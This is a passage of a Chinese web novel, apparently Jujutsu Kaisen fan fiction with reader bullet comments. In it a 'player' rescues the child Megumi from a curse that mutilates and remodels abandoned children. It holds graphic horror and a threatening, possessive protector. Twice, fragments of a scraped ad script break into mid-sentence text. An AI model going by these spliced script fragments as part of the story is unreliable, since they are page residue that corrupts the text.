［惠没有见过爱他的妈妈，甚尔也是拧巴，让惠活得和孤儿一样，本来年纪就小没有死亡的概念，被绑架好不容易找到回去的路，又二次被抛弃，现在还找不到人，以后能回去也说不定……放过姐弟两个吧，他们只想好好过日子。］ ［你说她爱孩子吧，她带着孩子去情人家里，你说她不爱孩子，她又没有把津美纪一个人丢在家里。］ ［上面的，五条家和禅院家都不适合惠去，悟这个时候还不是实权家主，他同时还是特级咒术师，照顾孩子总有疏忽，禅院家就不用说了，众所周知一个封建毒瘤垃圾场。］ ［待在星也身边也不错啊，星也不会对他动手，说到底最安全的就是和正卷一样的走向。］ ［所以说番外卷是if线。］ ［这样线索不是断了？］ ［应该不会朝着鳄渊惠的方向发展吧，不是都是废案了吗，津美纪也还在。］ ［楼上……］ ［不要开言灵技能啊很恐怖的。］ 渚星也瞄了眼弹幕，女人以为是在看自己，紧张地说：“我已经全部说完了，你还想干什么。” 黑发少女走到一间卧室门口站住，她手按在门把手，打开了一道缝隙。 黑色的屋子，小小的她。 “妈妈，都是这个样子吗。” 少女忽然开口。 女人想要为自己辩解，话还没说完就被渚星也打断，“算啦。” 她拉开卧室门，将光亮带进黑色的房间，缩在角落的小女孩因为突然的光低了低脑袋，双手没有安全感的将自己环抱住，有人来了也没有抬起头，地上是散落的纸张，纸张上稚嫩的笔触绘画出四个火柴人，最高的那个被打上大大的红叉，两个手牵着手的小火柴人头顶着太阳和彩虹。 渚星也蹲下来。 “你叫津美纪？” 女孩不抬头，她低低的声音像蚊子一样，“……不要伤害妈妈。” 她好像是个坏人。 哦，她就是个坏人。 渚星也眨眨眼，抬起手戳了下女孩的额头，女孩被她戳懵了，泛着水雾的眼睛愣愣看她，没几秒，她双肩颤抖，大颗的泪珠不由自主地涌出，流淌到脸上。 “姐姐，不要伤害惠，不要伤害妈妈。” 她说话带着哭腔，泪水沉甸甸地坠落到地面。 渚星也挠了挠脸，叹了口气。 “我有那么可怕吗。”渚星也嘀咕了一声，她没想过要吓津美纪，虽然以前在琦玉上学本能的不去和她交往，但在班上，津美纪一直都是漂亮又受欢迎的人，还被推举成了班长，总是暗地里照顾她。 善良的人，她不讨厌。 “不要哭啦。” 渚星也伸出手，面团一样揉捏着她的脸，“哭哭啼啼，都让我认不出你了。” 后半句她的声音很轻。 “再哭你弟弟就回不来了。” 渚星也还不忘说一句维持人设的话。 ［姐弟亲情真好。］ ［不像我的弟弟，他还在玩泥巴。］ ［……我也是，两眼一睁就是干架。］ ［番外卷姐弟能不能HE啊，信女愿意三个月吃素，我真的恨透了那个狗■结局。］ ［我愿意半年。］ ［我愿意贡献出我的20斤五花肉。］ ［星也，原来你是傲娇吗。］ ［放狠话也很可爱，也骂我一句吧，社畜压力越来越大了，好像有点不一样的刺激。］ 弹幕越来越掉节操了， 渚星也站起来，她打开系统界面，系统除了商场技能兑换外，还有一个全部玩家都能使用的技能。 【洞察之眼】 简单来说，在这个世界就是可以看到咒灵的技能，也可以用来找隐藏的踪迹，若是在灵异世界，就是能看到鬼怪。 她想到一个可能性。 渚星也要离开时，脚步一停转过头，对已经被她松开的男人和女人说：“不要透露出我来找你们。” “透露出来……那我只好再回来了，你们也不想再见到我吧。” 她眼睛弯弯，然后朝自己脖子一划。 威胁意味十足。 “……” “拜拜啦。” 话音落下，她关上门，洞察之眼所呈现的世界和以往不同，从二楼撑着围栏跳下去，轻巧落地，抬眸观察着路边的人，有人的头顶上顶着像史莱姆一样的小咒灵，亦或者肩膀上趴着正卷出现过的蝇头，还有章鱼一样吸附在腿上的小咒灵。 这些看起来应该是四级。 渚星也移开视线，思虑着伏黑惠会去的地方，在不知道路怎么走的情况下，他要去的地方除了警视厅就是伦住的地方，如果遇到了好心人，或者他主动求助，十有八九会带去警视厅。 最不可能的就是回去找她。 渚星也心想。 她操控系统界面，调出小地图，目的地设为警视厅，系统自动为她规划出路线。 2.3km。 隐身开冲刺吧。 1.7km。 1.5km。 岔路口，她脚步忽然一停。 【你已进入支线任务区域，是否接受任务？】 一道红色弹窗出现在眼前。 商场的技能，状态恢复药，生活用品，这都是要用积分购买，所以系统在玩家忙于互相厮杀的时候，还不忘发布几个支线任务。 这种渚星也叫发育流。 她停下来不是因为这个，而是听到了声音。 狗叫的声音。 洞察之眼还开着，渚星也脚尖一转，朝着支线任务的方向走去，是一个无人的公园，在她的视野下，有紫色的屏障包裹着这里。 洞察之眼的视野类似于红外热成像仪，因此里面的生物形状能清晰看到。 她看到了两只很小的小狗。 和她猜的一样。 渚星也站在屏障前。 这么小的小孩子，能记清没有走过的路，有一个可能性，那就是召唤出了玉犬，小狗总会帮主人找到回家的路。 还好一直开着洞察之眼。 【你已进入支线任务区域，是否接受任务？】 系统又弹出弹窗。 “接受。” 渚星也答。 【任务：杀死怨母。】 * 进入支线任务，天色从白天变成黑夜，渚星也试探着往回走，脚尖碰到屏障就无法再前进一步，系统弹出警告的标识。 【警告：任务未完成玩家无法离开】 行叭。 渚星也转身，天空仿佛粘稠的墨，色彩斑斓的鱼形咒灵从她的身边游弋穿过，紫色的，绿色的……身细长如蛇，浑身覆盖着细密的鳞片，每一次转身游动，都发出诡异的嗡嗡声。 咒灵鱼的眼睛很大，几乎占据整张脸。 还行，不是很可怕。 冷冽黑光划破沉闷的空气，渚星也手掌一翻，一柄黑色的镰刀出现在她的手中，镰刀通体漆黑，刃口薄如蝉翼。 渚星也低头看了眼漆黑镰刀。 ［枝桠］是能够变化出任何形态的武器，她也是突发奇想用用 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 镰刀，重量很轻，和变化出的黑刃一样轻，用起来也没有丝毫的生疏。 进入支线任务，视野中全都是咒力残秽，无法分辨清楚玉犬的准确位置。 渚星也想了下，扬声叫了一声。 “嘬嘬？” 好像不行。 “汪汪？” 好像也没有回应，应该说安静过头了，没有光亮，周围都是一片黑暗，身后是黑夜，身前也是黑夜，所以渚星也走进黑夜。 出奇的安静，只能听到自己的脚步声。 “……” 渚星也握紧镰刀。 哒—— 她镰刀一挥，笔直停到突然出现在眼前，蹲下来拍着皮球的红衣女孩身后。 想了想渚星也收回过于巨大的镰刀，弯下腰问，“你好啊，小妹妹，有碰到一个和你差不多大的男孩子吗。” “有哦。” 小女孩抬起脑袋，是一张可爱的，白皙的笑脸。 她站起来抱着皮球，歪歪头看她。 “姐姐陪我玩我就告诉你，嘻嘻。”她蹦蹦跳跳的，像个小弹簧，笑声刺耳，“小孩子都在妈妈那里，姐姐你陪我玩拍皮球，我就告诉你弟弟在哪里。” “好呀。” 渚星也仿佛没有听到小女孩刺耳到异常的笑声，笑眯眯的，没有一丝异样的表情。 “那要玩什么呢？” “拍皮球！”小女孩举起手。 渚星也捧场地鼓掌，“好哦好哦，我最擅长踢皮球了。” 小女孩眼睛一亮，高兴的表情转眼间灰心丧气。 “可是我的皮球瘪了。” 她举起自己的皮球，原本红白相间的皮球，突兀变成一个眼眶黝黑空洞，面目狰狞的人头，头骨瘪了大半，呈现出拳头大的凹陷。 嘀嗒。 人头的切割处还留着血，混着白色物质。 连汤带水。 渚星也表情没有波澜，还问：“那怎么办啊。” 小女孩直勾勾地盯着她，视线在她的脖子停留，有些纠结，最终玩性战胜了喜爱，她缓缓扬起天真的笑脸。 “那就拿姐姐的头当球踢。” “妈妈会给姐姐缝起来的，所以姐姐不要怕。” 渚星也仿佛没听到好女孩的惊悚发言，而是观察着她，手臂有色差，皮肤有一截是白的，一截是黄的，疑似拼接在一起，脖颈处有黑色的缝合线，两只手臂的长度一短一长，最主要的是，小孩子的比例不对，头大身子娇小，像是电视里看到的大头娃娃。 关掉洞察之眼也能看到。 看来不是咒灵。 不是咒灵就好解决了。 “小朋友，姐姐有点怕疼诶。” 黑发少女开口。 “把你的头当皮球踢过去好不好。” ［你不许和男人亲嘴。］ ［也不能和女人亲嘴。］ ［五条老师……这不是五条老师吗，五条老师也有喜欢拿咒灵的脑袋当球踢的习惯。］ ［突然品到了五星的好嗑点，都是在其他方面有些任□□撒娇，彼此之间有相似的部分，如果碰到了共同的敌人，说不定现场就跟饭后聊天一样，你一言我一语，成功让对方红温。］ ［正卷里感觉悟子哥比起撒娇更像是以亲切明快的态度说给别人听，在正常生活里怎么撒娇也没具体表现，突然就很想看这两人撒娇对冲，谁魔高一丈。］ ［用镰刀抽我（暴言 ！］ ［一想到星也会站在羂索的身边，我的心好痛。］ ［这不是还没确定吗。］ ［娟子没可能放过星也啊。］ ［支线任务是杀死怨母，这个感觉是拼接的小女孩不会还有很多个吧，有点可怕，惠要是成这个样子我会疯的。］ ［作者不会变态到这种地步吧。］ ［死神镰刀！好帅的武器！可恶，这不得把我勾进去狠狠亲我。］ ［……镰刀不是这样用的。］ ［你们是变态吗。］ ［我们是。］ ［汪汪汪汪。］ ［我受不了你们这群变态了！］ ［……我一直以为咒术师已经很变态了。］ ［杰哥还在快马加鞭的路上。］ ［被玩家忽悠了。］ ［星也：两眼一睁就是干！］ ［求求你再让我看一集吧，就算让我左手星也右手五条悟住进大别墅我也愿意。］ 13.第十三章 “啊啊啊啊我要告诉妈妈！” 一眨眼的功夫，全身上下被绳子绑在树上的小女孩哭得上气不接下气，“太坏了姐姐！我这么喜欢你怎么可以欺负我！” 渚星也指着自己：“喜欢我？” 小女孩委屈啪嗒掉眼泪：“把姐姐做成我最爱的皮球不是喜欢吗。” 她不喜欢。 不过小女孩喜欢她这个渚星也是信的，她之前的三个副本都是这样，怪物莫名其妙的觉得她很合眼缘，拉着她玩杀人游戏的有，把自己最喜欢的眼珠子头颅之类的送给她的有，还有就是小女孩这样的，想把她做成最喜欢的东西永远陪在它们身边。 “抱歉啊，我不喜欢你。” 小女孩嘴一扁又要哭，渚星也及时堵住，“再哭我就把你吊起来。” 指了指树杈。 黑发少女补充：“倒吊。” 小女孩闭嘴了。 渚星也转了下镰刀，问道：“你妈妈在哪？” 她指了几个方向，看到小女孩的眼珠子动了下。 “我知道了。” 看来还要往里面走，渚星也思衬了两秒，走过去站到小女孩面前，摸了摸她的脑袋，将她头上的树叶摘下来，笑眼弯弯地说：“我也不是故意的，只是太担心我家小孩了，你不要怪我，等我找到人再和你玩好不好。” 黑发少女双手合十贴着脸颊，眉眼一弯，眼睛一眨又一眨，像小星星一样，尾音软着。 “求你啦。” 小女孩：“……” “好吧。”小女孩脸红着，别扭地说，“我就不告诉妈妈你欺负我了。” “好乖好乖。” ［……］ ［星也，你好熟练啊。］ ［原来可以这样的吗，啊？还有这种操作？］ ［哦（捂住胸口倒地 ］ ［小朋友，你要知道上一秒这个人想要将你吊起来啊。］ ［什么魅魔。］ ［好变态！她还是孩子啊！］ ［啊，还可以这样吗。］ ［放弃吧你学不来。］ 渚星也现在看到弹幕已经没有波澜了，再骚的话也不会让她失态。 安抚好小女孩，她朝着刚才让小女孩产生异样的方向走去，太黑，导致无法看到脚下踩过的是什么，有液体溅开的声音，四周的黑暗不是单纯的天色变暗，而是类似于眼睛被手捂住所看到的黑。 越走，光线由暗转绿，绿光莹莹，看着就瘆人。 ——“汪汪” 渚星也听到微弱的呜咽声，听着是玉犬的。 她循着声音走进，穿过绿光，看到了像胚胎一样的东西被红线穿过悬挂于空中，胚胎呈现心脏的质感，半透明的，能看到血管脉动，一下又一下的呼吸，而胚胎中的孩子……是惠。 她转过头，数个胚胎里是不同的孩子，男的，女的，小小的一点蜷缩在窄小的空间。 玉犬又汪了一声，渚星也蹲下来，摸着虽然肉眼可见的虚弱无力，但一遍遍试图蹦跳起来咬断红线的两只黑白玉犬。 小小的，一屁股可以坐死的奶团子。 玉犬闻了闻她的手，咬住她的衣袖朝着伏黑惠的方向拽动。 “呜呜。” “不要担心。”渚星也说，“我会把惠带回来的。” 玉犬用脑袋拱了拱她的手心。 渚星也抓起镰刀，脚踩着围墙跳起砍下去，“嗡”得一声，仿佛砍到了钢筋，声音沉闷，反作用力让她的手腕发麻，红线纹丝不动。 第二次，渚星也跳到红线上，攥着镰刀砍向胚胎，但比她的镰刀更快的，是直冲门面，闪着寒光的漆黑长羽。 渚星也被迫后仰从红线上坠下，脸上一阵刺痛，鲜血溢出。 她抬起眼，去看出现的是谁。 ……是一个有着两张脸，眼神哀愁的女人，她的手不是手，而是覆满羽毛的双翼。 【怨母】 支线任务的怪。 “不要伤害……我的孩子。”怨母轻轻地开口，羽毛般的纹路从眼尾浮现，白皙的脸上逐渐长出柔软的黑色羽毛。 “我没有。” 渚星也无害地说，死神镰刀背在身后，“我只是想接回我家孩子。” 怨母摇头，看着她的目光仿佛有奇怪的怜悯悲伤之意。 “他们都是没人要的小孩，是我的孩子。” “谁说的。”渚星也反驳，静静地望着她，“我不是找过来了吗。” 怨母还是摇头，眼神依旧充满愁绪。 “他们是我的孩子，你也是。” 怪物听不懂人话，她理解，有时候人也听不懂人话，但自说自话还自成逻辑，就有点气人了。 该打。 打开支线boss面板，系统。 【怨母：从不被爱的孩子们幻想中诞生的咒灵，对自己的孩子有极致的保护欲，不允许任何敌人伤害。】 那也不能抢别人的孩子啊，变态。 【孩子们认为自己有缺陷所以不被爱，怨母负责修正所谓的缺陷。】 怨母上前一步，身后的羽翼蓦然张开，遮天蔽日，她喃喃着，“你也是，你也是我的孩子。” 渚星也笑了一声，声音冷下来。 “我不需要妈妈，你找错人了。” “你需要。” 怨母坚定地说，她展开羽翼飞起，悬停在被红线捆绑穿过的胚胎前，声音轻柔，羽翼抬起指着一个胚胎。 “这个眼睛不好看，所以我给他换上了最漂亮的玻璃珠。” “这个嘴巴不好看，所以我拉开他的嘴，让他一直微笑。” “这个不聪明，所以我换了个新鲜又活跃的大脑。” 这是在把孩子当做人偶。 渚星也仰头看着伏黑惠所在的胚胎。 “那惠呢。” 她问。 怨母微笑：“他觉得自己的存在是错误的，所以我来□□他的母亲，只要他从胚胎里出来，会因我而存在，这样就不会是错误的，不会感受到痛苦，因为我会永远爱着他。” “你也要改造，回到我的怀抱。” ［啊啊啊啊坏女人走开，我家惠才不是不被爱的小孩，他有爹有妈不要你这个丑八怪。］ ［什么爱啊，你口中所谓的爱就是把小孩子改造成‘ta们’喜欢的样子，如果这就是爱，那未免有些太恶心了。］ ［不允许其他人伤害，所以自己的改造就不是伤害了吗！］ ［你怎么还盯上了星也。］ ［感觉星也这个样子有点怪怪的，听到“妈妈”之后神色就有点冷漠了。］ ［啊，星也也是不被爱的小孩吗？］ ［打她。］ 她的话好似有一种魔力让人相信，红线因为她的话震颤着，渚星也眨了下眼，发现那个被她绑在树上的女孩不知什么时候挣脱了绳子，温顺地走到怨母地身边，仰起脸叫“妈妈”，叫的真心实意。 目光落在怨母身上，她刚才的样貌不复存在，脸上狰狞的羽翼消失，面容愈来愈柔和，眉眼越来越让人觉得熟悉，直到整张脸变成了另一张她更熟悉，相处十几年，日日夜夜都注视的脸。 渚星也怔住。 女人穿着白色的长裙，身段婀娜，光泽亮丽的黑发长至胸口，眉眼清秀柔弱，仿佛会被风随时吹走，楚楚可怜的模样。 “星也。” 咒灵，不，妈妈伸出手，语声仿佛被棉花糖包裹，甜蜜地说：“来我这里。” 妈妈。 或者说，是她上一世的妈妈。 渚星也的脚不受控制地向前走了一步。 两步。 第三步。 她停下来，玉犬咬着她的腿让她不要过去，渚星也低眸看着两只叫起来都奶声奶气的式神 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 狗狗，抬头看眼前熟悉的人。 真的很像。 说话的语气，外貌，连我见犹怜的气质也模仿出来。 要是妈妈看到了，说不定会哭出来，又开始胡思乱想了，好可惜。 她出现在这里，叫着她的名字，渚星也就已经知道这可能是怨母的术式，只要认为怨母是自己的【妈妈】，就会被控制。 黑发少女叹了口气，神情专注地看着怨母，表情极其认真。 “我的妈妈爱着我一个，什么都会满足我，不会伤害我。” 她一字一句，咬字清晰。 “你是吗？” 怨母温柔地说：“我是。” 渚星也漆黑的眼睛没有丝毫光彩，却绽开笑容 。 “那你能为了我去死吗，妈妈。” 轻柔的声音落下，随之“呲”的一声。 怨母蓦然睁大眼睛，神情不可置信，身后的双翼抬起朝向自己的脖子割去，鲜血顿时如喷泉一样从脖颈喷溅。 果然和她猜的一样，术式是需要条件才可以展开，当她认为怨母是妈妈，怨母就可以控制她的行为，同时她也可以让怨母答应她的要求。 渚星也在鲜血喷溅的刹那间举起镰刀砍向胚胎，“噗呲”一声，胚胎犹如水球般变瘪，里面的小孩同时坠下。 她跳起来不顾胚胎中粘腻的液体，将人抱在怀里，随即捞起地上还在惊喜汪汪叫的两只小狗崽，灰头土脸转身就跑，头也不回，用刺客技能逃跑速度飞快。 “汪汪。” 渚星也把怀里探出脑袋吐舌头的玉犬塞回去。 “别汪了，快把你主人舔醒啊。” 见势不妙就跑，不丢人！ 身后歪着脖子的怨母睁开满是血泪的双眸，呼吸渐渐沉重起来，身体不断地蠕动，羽翼缓缓抬起展开，将她架在空中。 “自私自利、恶毒、愚蠢。” 她肢体僵硬，每一寸羽毛都睁开一双双眼睛，拥挤堆在一起，猩红的瞳孔流着血泪。 “坏孩子坏孩子坏孩子坏孩子坏孩子坏孩子坏孩子坏孩子坏孩子坏孩子坏孩子坏孩子坏孩子坏孩子坏孩子坏孩子杀了你杀了你杀了你杀了你杀了你杀了你杀了你杀了你！！！” 足以撕裂鼓膜的尖锐哭嚎划破天际。 渚星也腹诽。 她的妈妈才不会这么丑，虽然清秀可人，但可是世界的中心。 可能是咒灵的叫声过于吵闹，怀里的小孩慢慢睁开眼睛，绿色的眼睛茫然又无措地看着渚星也，依赖地开口。 “妈妈？” ……诶？ 等一下，刚才怨母说什么来着？ ［啊啊啊啊这是什么东西咒灵是变异了吗怎么这么丑好辣我的眼睛。］ ［这是二级咒灵被激怒成一级咒灵了吗，也不对，正常来说不会这样，她应该是通过让别人认成自己母亲达成束缚的条件，你将她视为自己的母亲听她的话，她也会听你内心的愿望满足你，双向的束缚使她成为怨母，二级咒灵虽然也很厉害但找对了方法也是可以对付的。］ ［星也把她激怒了，难度up。］ ［既然是怨母，作为母亲听到自己的孩子想要杀了自己会愤怒怨恨也是理所当然的。］ ［从星也的角度看那不就是她真的妈，为什么会想杀掉自己的妈啊。］ ［怨母就是因为无法理解才暴怒的啊！她之所以那么自信也是因为所有的小孩都本能的渴望母爱，谁知道出现星也这样一个怪胎。］ ［来人救场啊，娟子呢，可恶你这个家伙一到重要的时候就掉链子。］ ［歪楼玉犬真的好萌好萌想一口啃掉，星也没忘记狗狗呜呜呜感动。］ ［什么妈妈？等一下你们注意伏黑嘴里说的什么，他在叫星也妈妈啊！］ ［妈妈？？？］ ［你闭嘴。］ 她突然有种不祥的预感。 14.第十四章 被下药弄坏脑袋了？ 算了这个不重要。 这个支线任务除了玩家出不去，npc可以出去。 把两只小狗崽塞进伏黑惠的怀里，诸星也已经跑到支线任务的屏障边缘，她出不去，但是npc可以。 渚星也把伏黑惠放到地上推了一下，示意他出去，似乎能感受到什么，小孩不安地又叫了一声妈妈。 “……” 她真不是啊，绝对是那什么怨母的诅咒。 “你出去，我稍后就出来。” 伏黑惠拽住她的衣服，抬起脸看着她，不哭也不闹。 黑发少女只好蹲下身来，使出万能大法——拉勾勾。 “我们拉勾勾，要做听话的好孩子，你听话我就会去接你。” 小孩眼睛一动，他点了下脑袋，伸出自己的手。 “拉钩上吊一百年……”拇指相挨，声音落下。 “不许变。” “汪汪。” 渚星也揉了揉狗头，“带他出去，乖狗狗。” 看着伏黑惠的小身影走出屏障，渚星也一口气还没提上来，一转头，一张覆满羽毛的脸贴近她，羽毛上的眼珠子们直勾勾地盯着她。 “坏孩子。” ——“砰！” 渚星也感觉自己像砧板上的鱼，被菜刀拍到墙上，脏器仿佛碎掉一样，抽搐发疼。 血液顺着脸颊往下流，她手抓着墙，另一只手拿起镰刀。 刺客的技能隐匿身形，对上怨母没有用，光是遮住双目的羽翼，上面的眼睛都有六个，完全做到了无死角的视野。 她要想办法…… 要想想办法。 得弄瞎掉她的眼睛，烧掉作为武器的羽翼。 手中的镰刀在石地上划过，“叮”的一声响，火星四溅。 渚星也衣袂飞扬，眨眼间泛着火星的镰刀砍去怨母的半截羽翼，但不过须臾，根芽缠绕再生，羽翼重新遮掩住那双流血怨恨的双目。 这就是咒灵的再生速度。 （星也，你还是需要我们，接受我们） （为什么要拒绝，你不想变得更强大吗） （只要我们一起，你能杀掉所有想杀了你的人） （星也……） 好吵。 怨母身后的另一对羽翼张开，根根分明的羽毛化作利刃，鲜血喷洒，羽毛穿透她的肩膀，将她钉在墙上。 好恶心。 黑色流体自主地吞噬掉她肩膀处的羽毛，渚星也捏着武器的手用力到泛白。 游戏副本就是在养蛊，时间越长，剩下的毒虫就越强，弱者被吞噬成为毒虫的养分。 杀人，续命。 就是这么简单的道理。 某些东西伸出缠绕住她的四肢，黑色的流体不受控制地渗进衣服中，逐渐覆盖住脖颈，手腕，她抬起手，绷带已经被黑红色的血濡湿。 不疼。 只有这个时候才不疼。 （为什么不接受我们……星也你应该接受我们，接受我们你才能变得更强大……不会再有人伤害你了……） 不可被人类听到的细语落在她的耳畔，温柔又邪恶的声音。 （可怜的星也，被人伤害的星也） （谁来救救我，嘻嘻） （没有人，只有我们） 镰刀的寒光，映出一只幽幽的绿瞳。 ——只有我们，会爱你直至死为止—— 渚星也被潮水般的爱意包裹，忽然笑了下。 “骗子。” 欲要攻击的怨母因为气势截然不同的少女，也怔愣住，竟没有继续攻击，她迟疑地望着黑色流体褪下，苍白肤色气质诡谲的少女，少女看起来单薄，嘴边还带着血，眼神却冰冷，看着不像个人，像鬼。 但怨母内心还是不由自主涌出对她的怜爱。 ……她只是孩子，她犯点错误怎么了。 只要她乖乖听话，那就会是她最喜欢的孩子。 她可怜可爱的孩子。 ——骗子。 渚星也心想。 都是骗子。 她不想变成没有理智，不会思考，没有自我的怪物，和那些东西一样的怪物，满脑子想着清理垃圾，清理人类，将她的身体当做“门”，一个又一个怪物开膛破肚，吸吮着她的鲜血，在她的身体上起舞。 她或许会跪在那些怪物的「神」面前，祈求着祂的怜爱。 她也有可能变成抖颤蠢动的肉块，发出黑暗黏稠的声音，彻底地成为怪物中肆意高歌的一员。 她也会害怕未知，系统和副本的出现有她不知道的原因，被怪物所选中后，她的未来就变得无法预测，每走一步，仿佛脚下都是恶鬼，都等着她坠落。 一天一天，一年又一年，她跌跌撞撞熬过的这些时间，不是为了让自己成为怪物。 ［不用多想］［为了活下去］［杀多少都可以］ ［杀了除自己以外的所有敌人］ 离开这个世界。 诸多的声音涌入脑海，将渚星也对痛感认知不足的精神也一同被粉碎。 活着出去。 意识残余的最后，渚星也一遍又一遍告诉自己，正如第一次知道自己是“门”，不坚守本心，她就不是她。 你要活着出去，你答应过那个孩子，你答应过他的。 一道电光穿透黑夜，在渚星也的眼睛划过，绿莹莹的眼珠亮的惊人，脑海中的温柔呢喃也变得冰冷刺骨。 你答应他的，他听话你就要接他回家。 渚星也忽然弯了下眼，和平常一样的笑容，泪水却突兀落下。 “做不到的话，你（我）就去死吧。” 一片寂静。 怨母感觉到空气中的气息发生了变化，羽翼上的每只眼睛都似乎感受到了什么未知的危险，眼珠乱颤。 她看着下面的人。 黑发长及脚踝，浑身是血的少女倏地动起来，她抬头仰望着天上的咒灵，绿眸直勾勾的，笑意盈盈，怨母自己的身体也颤动，下意识后移。 ……怎么回事？ 恶鬼般的少女垂下绿眸，转过身想要穿过紫色的屏障，但被拦住，无法再前进一步。 她抬手摸了下自己的脸，有些奇怪的看着手指上的湿痕。 什么时候？ 她蹭了蹭自己的脸，说：“杀了你，就可以出去了吗？” “不行，你不用这样做。”怨母开口，遮掩住双目的羽翼下移，一双猩红的重瞳盯着她，“你不能自私自利，忘恩负义。” “你怎么能杀了爱你的妈妈！” “为什么不行。” 黑发少女歪了下脑袋，声音像蝴蝶愉快飞舞般的，天真到残酷。 “这还是你教我的，不是说，我想干什么就干什么，世界理所应当围着我转吗，因为我是你的女儿。” 巨大的黑色佛像从裂开的地面中拔地而起，神佛低眉慈悲像，仿佛洞察世间一切悲欢离合，垂落的神情带着无尽的宽容与怜悯，它一手指天，一手摊开朝上，厚重云层沉甸甸的在头层，似乎触手可及。 黑发少女坐于巨佛手心， “还有人在外面等我。” 她微微笑道，与怨母平视。 “你可以快点去死吗。” * 伏黑惠抱着玉犬蹲在石头边，他还小，咒力不够用，但还是努力的维持着玉犬出现，将脸贴在玉犬的绒毛上，试图从上面汲取到温暖。 他打了个寒颤，长时间在胚胎中，现在他的脸上都是冰凉粘糊的感觉，什么也不去想，什么也不知道，他只知道要留在这里。 乖乖等着，会有人过来接他。 不能乱跑，跑丢了会被怪物吃掉。 听话就不会被吃掉。 玉犬舔着他的脸，伏黑惠隐约听到了脚步声，抬眼紫色的屏障不知什么时候消失，黑发凌乱的少女在阴影中冷眼打量着他。 她的身后是残肢炼狱。 那双幽绿色的眼瞳让他下意识打了个寒颤，说不出的害怕，但胚胎上残留的诅咒，让他将睁开眼看到的第一人当做最信任，最依赖，以及由心底生出爱意的人。 她爱我，我会听她的话。 干什么都可以。 少女同他一样靠着墙坐下，伏黑惠看到她的手臂一直在流血，感受不到痛苦一样，侧了侧脸和他四目相对。 她弯眼笑。 “过来。” 玉犬融入他的影子，伏黑惠上前一步，被抓住手腕抱在怀里。 好冷。 他不理解，记忆中的怀抱都是温暖的，有热量的，为什么有人的怀抱这么冷，像扎进雪堆里一样，冷的只想跑掉，但伏黑惠抬起头，看到了一双空茫茫的绿色眼睛，额头上留下的血划过眼角，脸颊，滴进如雪的锁骨上。 少女垂下眼，伸手搂住他的脖子，贴近，声音在昏暗中清晰，一声一声，落在他的心中。 “别迈出我的领地，咒灵就伤害不了你。” “没有我的话，你一个人什么也做不了。” “听我的话就会没事的，只有我能保护你。” 她的话隐秘的戳中伏黑惠内心的害怕，他攥住少女的衣服，将脸埋进她的怀里，身体颤抖，刚才那一眼的残肢炼狱，是他见过最恐怖的一幕。 残肢炼狱是她弄出来的。 但保护他的，也是这个浑身冷冰冰的人。 他的恐惧和害怕始于这个人，也是这个人抱着她声音很轻地说：“别怕，那些怪物，就交给我来平息。” “爱哭鬼。” 黑发少女依然不改恶劣的语气，可紧紧拥抱的也是她。 又疼又冷。 只要不离开她，他就是安全的。 只要不离开她，怪物就不会伤害他。 只要不离开她，他就有可以回去的地方。 他闭上眼，眼泪混着血一起流下来，甚至生出一种错觉，他可以温暖这具冰冷的身体，因为‘妈妈’在他的脑子里说过，爱能实现一切愿望，只要是他的愿望，只要他爱着妈妈，妈妈就可以实现他的愿望。 不离开她。 “不要离开我。” 伏黑惠轻声说。 “……” 液体从眼睫落下，渚星也恢复理智，恢复理智是瞬间，没有任何的过渡，疼痛随后跟着理智回来。 浑身发疼，喉间满是血。 瞳色变成黑色，渚星也也没有松开手，把自己的下巴抵在伏黑惠的脑袋上。 人是需要靠拥抱来汲取能量的。 ……她好像已经有皮肤饥渴症的雏形了。 她真的太疼太冷了，这是应该的，是她救了他，她忍了这么多疼痛，不得到点什么，那她为什么要做。 冷冽的空气穿透胸腔，不管怎么做，都回不到以前正常的身体。 渚星也闭上眼睛，内心想要拥有反转术式的欲望越来越强烈，至少不要让她这么疼。 “星也。” 一道声音传来。 不知道从哪里出现的羂索有些讶异看着她身后的场景，他蹙着眉心，面容变得愧疚担忧，“是我来晚了。” 渚星也眨巴着眼睛，本来就狼狈，忍痛忍得漆黑的眼睛浮着水雾，神色迷蒙，声音也没刚才那么冷了，看起来柔弱，可怜，又委屈。 “你来的好慢啊。” 她抱怨着，尾音因为受伤有些发颤。 哪怕受伤了，也是一个爱撒娇的孩子。 棕发青年盯着她，半晌，他往前凑了凑，伸手摸了摸她的脑袋，语气轻柔，“抱歉，是我的错。” “我带你回去。” 羂索将渚星也从地上抱起来，像抱了一堆雪，恍若冬季见到掩埋将死雏鸟的雪。 他的手落在渚星也的脸颊上，无声一笑。 是雪，也是雏鸟。 只是…… 羂索盯着抓着渚星也衣摆的手，眼 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［两个宝宝抱在一起，宝好，娟子插进来，娟坏。］ ［大佛好帅，原来大招是这样子吗，不过为什么好多圣光打码。］ ［……圣光，好遥远的记忆，现在都是删减了，圣光打码就是那些地方很血腥，少儿不宜。］ ［不管是女鬼星还是甜妹星我都爱！］ ［惠：好怕，但贴贴。］ ………… 随便买了新的手机，费了一番功夫在伏黑惠的家人那里得知伏黑惠中途回来了一次，夏油杰在附近展开大范围的搜查。 不过诅咒师如果要绑架十种影法术，为什么不注意看着让他一个孩子溜走。 咒灵找到咒力残秽，夏油杰赶到现场，看到一片狼藉的公园，基本到了推翻重建的程度，眼熟的背影站在公园前，似乎察觉到他来了，那人侧了下脸，抬手打招呼。 “呦。” 是悟。 夏油杰上前几步，看他身后的公园。 ……他也是第一次看到，咒灵可以被撕成这么多份，这不是咒力祓除的结果，那咒灵只剩下一个脑袋，双目流着血被放在染血的羽翼上，咒灵还有一口气，哪怕是一个辅助监督过来，也能轻松的祓除她。 “那些孩子……” 白发少年走了几步，看着睡在还完好的草丛中的孩子们，他们身上有的部分被改造，有的残缺，有的全身上下已经没有属于人的部分，像被摆弄的玩偶，一点点靠近最完美的人偶。 “还有一口气。”五条悟说。 墨镜从鼻梁滑下，如云朵般的白发有些凌乱，五条悟天空延展的蓝色眼瞳盯着他们，垂下眼道。 “咒灵死了他们就会死，这些孩子的生命是由咒灵维持的。” 夏油杰嘴角牵起的弧度有些冷。 “硝子怎么说？” “她看了视频，就算有反转术式也只能维持很短的时间，活不下来，徒增痛苦。” 夏油杰问：“悟，你怎么想。” “……我的咒力靠近就会让咒灵自燃。” 这种程度，也无法调伏成功。 